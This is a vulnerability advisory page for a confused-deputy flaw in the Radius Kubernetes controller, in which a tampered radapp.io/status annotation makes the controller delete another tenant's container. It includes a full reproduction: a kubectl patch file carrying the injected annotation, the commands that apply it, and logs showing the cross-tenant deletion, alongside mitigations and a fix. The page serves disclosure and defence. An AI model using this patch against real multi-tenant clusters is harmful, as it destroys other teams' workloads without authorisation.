CVE-2026-53999High· 7.7▾ TwilightRadius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 42.4 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a DELETE for the container resource referenced by a tampered radapp.io/status annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.
The Radius controller deserializes user-controllable JSON data from the radapp.io/status annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.
Vulnerability Source - pkg/controller/reconciler/annotations.go:110-119:
s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
err := json.Unmarshal([]byte(status), &s) // Deserializes user-controllable data without validation
if err != nil {
return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
}
result.Status = &s
}
Vulnerability Sink - pkg/controller/reconciler/deployment_reconciler.go:491:
poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container) // Directly uses user-controllable data for deletion
┌─────────────────────────────────────────────────────────────────────────────┐
│ Confused Deputy Attack │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Tenant-A (Attacker) Tenant-B (Victim) │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ legitimate-app │ │ victim-container │ │
│ │ (Deployment) │ │ (Radius Resource)│ │
│ └────────┬─────────┘ └────────▲─────────┘ │
│ │ │ │
│ │ 1. Inject malicious │ 4. DELETE request │
│ │ radapp.io/status │ (no auth check!) │
│ │ annotation │ │
│ ▼ │ │
│ ┌──────────────────┐ ┌───────┴──────────┐ │
│ │ Radius Controller│ ─────────────────▶│ Radius API │ │
│ │ (High Privilege) │ 3. Uses injected │ (UCP) │ │
│ └──────────────────┘ container ID └──────────────────┘ │
│ ▲ │
│ │ 2. Reads annotation │
│ │ without validation │
│ │ │
└───────────┴─────────────────────────────────────────────────────────────────┘
# Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3
# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans
# Verify installation
kubectl get pods -n radius-system
Expected output:
NAME READY STATUS RESTARTS AGE
applications-rp-xxx 1/1 Running 0 2m
bicep-de-xxx 1/1 Running 0 2m
controller-xxx 1/1 Running 0 2m
ucp-xxx 1/1 Running 0 2m
# Create resource group
rad group create tenant-a
# Create environment
rad env create tenant-a-env --group tenant-a
# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env
Create legitimate-app.bicep:
extension radius
@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
name: 'legitimate-app'
properties: {
environment: environment()
}
}
@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
name: 'legitimate-container'
properties: {
application: app.id
container: {
image: 'nginx:latest'
}
}
}
Deploy the application:
rad deploy legitimate-app.bicep
# Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b
# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3
# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
}
}'
# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
"container": {
"image": "nginx:latest"
}
}
}'
kill $PF_PID 2>/dev/null || true
kubectl get deployment -n tenant-b-victim-app victim-container
Expected output:
NAME READY UP-TO-DATE AVAILABLE AGE
victim-container 1/1 1 1 50s
Create attack-patch.yaml:
metadata:
annotations:
radapp.io/enabled: "false"
radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'
Execute the attack:
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml
Expected output:
deployment.apps/legitimate-app patched
Wait a few seconds and check the victim's resources:
kubectl get all -n tenant-b-victim-app
Expected output:
No resources found in tenant-b-victim-app namespace.
The controller logs show the cross-tenant deletion operation:
Attack Triggered (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Starting DELETE operation.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
Cross-Tenant Delete Request (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Deleting container.",
"scope": "/planes/radius/local/resourceGroups/tenant-b",
"resourceType": "Applications.Core/containers"
}
Deletion Successful (15:29:41.367Z):
{
"timestamp": "2026-02-01T15:29:41.367Z",
"message": "Resource is deleted.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
| Metric | Value | Description |
|---|---|---|
| Attack Vector | Network | Via Kubernetes API |
| Attack Complexity | Low | Only requires annotation modification |
| Privileges Required | Low | Requires Deployment edit permission |
| User Interaction | None | No user interaction required |
| Scope | Changed | Affects other tenants |
| Confidentiality | None | No data disclosure |
| Integrity | None | No victim data modified; deletes a recoverable management resource |
| Availability | High | Causes service disruption |
Until an official fix is released, consider the following mitigations:
radapp.io/status annotations, especially those containing other tenants' resource IDsAdd validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:
func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
expectedScope := extractScopeFromDeployment(deployment)
actualScope := extractScopeFromContainerID(containerID)
if expectedScope != actualScope {
return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
}
return nil
}
github.com/radius-project/radius < 0.58.0Upgrade to a patched release:
github.com/radius-project/radius 0.58.0Connected by shared product, vendor, weakness, or advisory.
CVE-2021-45105Medium· 5.9Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups
CVE-2020-3478High· 8.1A vulnerability in the REST API of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, remote attacker to overwrite certain files that should be restricted on an affected device
CVE-2020-3577High· 7.4A vulnerability in the ingress packet processing path of Cisco Firepower Threat Defense (FTD) Software for interfaces that are configured either as Inline Pair or in Passive mode could allow an unauthenticated, adjacent attacker to cause…
CVE-2020-3317High· 7.5A vulnerability in the ssl_inspection component of Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to crash Snort instances
CVE-2020-3191High· 8.6A vulnerability in DNS over IPv6 packet processing for Cisco Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the device to unexpectedly reloa…
CVE-2020-3166Medium· 6.7A vulnerability in the CLI of Cisco FXOS Software could allow an authenticated, local attacker to read or write arbitrary files on the underlying operating system (OS)